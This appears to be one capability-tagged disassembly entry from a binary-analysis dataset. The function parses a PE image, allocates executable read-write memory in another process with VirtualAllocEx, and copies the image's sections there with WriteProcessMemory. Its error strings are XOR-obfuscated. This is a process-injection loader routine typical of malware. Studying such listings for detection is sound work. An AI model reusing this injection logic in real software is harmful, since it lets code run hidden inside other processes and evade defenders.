Function at 0x1400df070
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x1402e8438]
mov rbx, rcx
mov qword [rbp - 0x49], rcx
xor r14d, r14d
mov ecx, 0x5a4d
mov r15, rdx
cmp word [rax], cx
je 0x1400df0a7
mov edi, r14d
jmp 0x1400df0b8
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
cmp dword [rdi], 0x4550
cmovne rdi, r14
cmp dword [rdi], 0x4550
je 0x1400df1fd
movabs rax, 0x270da5f1011fec03
movabs rcx, 0x3a66770ff59fab8c
mov qword [rbp - 0x49], rax
movabs rdx, 0x1f3423d245886ee7
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x669ab85ac10f6ee6
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0xcdffa753723e9bbd
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0x9135cf1c8009200c
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
movabs rax, 0x1f3423d245824095
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x49], rcx
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x11], rax
movabs rax, 0xa2df8966e73b723
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x2ffd433a0694ed8
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xf451ae79e8295462
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0x17], rax
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x39]
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 0x39]
pxor xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp - 0x29]
pxor xmm1, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x1f], rax
pxor xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 0x29], xmm1
call fcn.140033de0
jmp 0x1400df6f7
mov eax, dword [rdi + 0x50]
test eax, eax
jne 0x1400df337
movabs rdx, 0x1f3423d245886ee7
movabs rcx, 0x3a66770ff59fab8c
movabs rax, 0x270da5f1011fec03
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x229ab352cd006ee6
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0x82e4b614372b86ee
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xfe7fc21589442742
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x49], rcx
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x11], rax
movabs rax, 0xa2df8966e73b723
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x2ffd433a0694ed8
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xf451ae79e8295462
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0x17], rax
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x39]
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 0x39]
pxor xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp - 0x29]
pxor xmm1, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x1f], rax
pxor xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 0x29], xmm1
call fcn.140033de0
jmp 0x1400df6f7
mov r8, rax
mov qword [rsp + 0xa0], r13
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x1400df443
movabs rax, 0x270da5f1011fec03
lea rcx, [rbp - 9]
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x669ab85ac10f6ee6
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0x82e7ae55723e9bbd
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xf451a4578d5d3501
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
movabs rax, 0xa2df8966e73b723
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x2ffd433a0694ed8
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xf451ae79e8295462
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp + 7]
pxor xmm0, xmmword [rbp - 0x39]
mov qword [rbp - 0x21], rax
pxor xmm1, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
call fcn.140033de0
jmp 0x1400df6ef
mov rdx, qword [0x1402e8438]
mov r8, rdi
call fcn.1400e0250
test al, al
jne 0x1400df593
movabs rax, 0x270da5f1011fec03
movabs rcx, 0x3a66770ff59fab8c
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x669ab85ac10f6ee6
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0x82f8a746723e9bbd
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0x9b21c310c84c220e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
movabs rax, 0x1f3423d86bfb1a95
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x49], rcx
mov rax, qword [rbp - 0x49]
movabs rdx, 0x1f3423d245886ee7
mov qword [rbp - 0x11], rax
movabs rax, 0xa2df8966e73b723
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x2ffd433a0694ed8
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xf451ae79e8295462
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0x17], rax
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x39]
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 0x39]
pxor xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp - 0x29]
pxor xmm1, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x1f], rax
pxor xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 0x29], xmm1
call fcn.140033de0
jmp 0x1400df6ef
mov rdx, qword [0x1402e8438]
mov r9, r13
mov r8, rdi
call fcn.1400e0420
test al, al
jne 0x1400df638
movabs rax, 0x270da5f1011fec03
movabs rcx, 0x3a66770ff59fab8c
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x669ab85ac10f6ee6
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0x82f8a746723e9bbd
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0x9b3dcb0bc84c220e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
movabs rax, 0x31474dbd2cfc0f84
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
movabs rax, 0x3a66770ff59fab86
mov qword [rbp - 0x49], rax
jmp 0x1400df4d6
movzx eax, word [rdi + 0x14]
mov qword [rsp + 0xf0], rsi
add rax, 0x28
mov esi, r14d
mov qword [rsp + 0xa8], r12
mov r12, qword [0x1402e8438]
cmp r14w, word [rdi + 6]
jae 0x1400df6cb
lea rbx, [rax + rdi]
nop word [rax + rax]
mov ecx, dword [rbx]
cmp dword [rbx - 8], ecx
cmovb ecx, dword [rbx - 8]
test ecx, ecx
je 0x1400df6b9
mov r10d, dword [rbx - 4]
add r10, r13
mov eax, ecx
test r15, r15
je 0x1400df6a8
mov r8d, dword [rbx + 4]
mov r9d, eax
add r8, r12
mov qword [rsp + 0x20], r14
mov rdx, r10
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x1400df6b9
mov edx, dword [rbx + 4]
mov r8, rax
add rdx, r12
mov rcx, r10
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rdi + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x1400df670
mov rbx, qword [rbp - 0x49]
mov eax, dword [rdi + 0x28]
mov r12, qword [rsp + 0xa8]
add rax, r13
mov rsi, qword [rsp + 0xf0]
mov qword [rbx], rax
mov rax, qword [0x1402e8438]
mov qword [rbx + 8], rax
mov r13, qword [rsp + 0xa0]
mov rax, rbx
add rsp, 0xb0
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret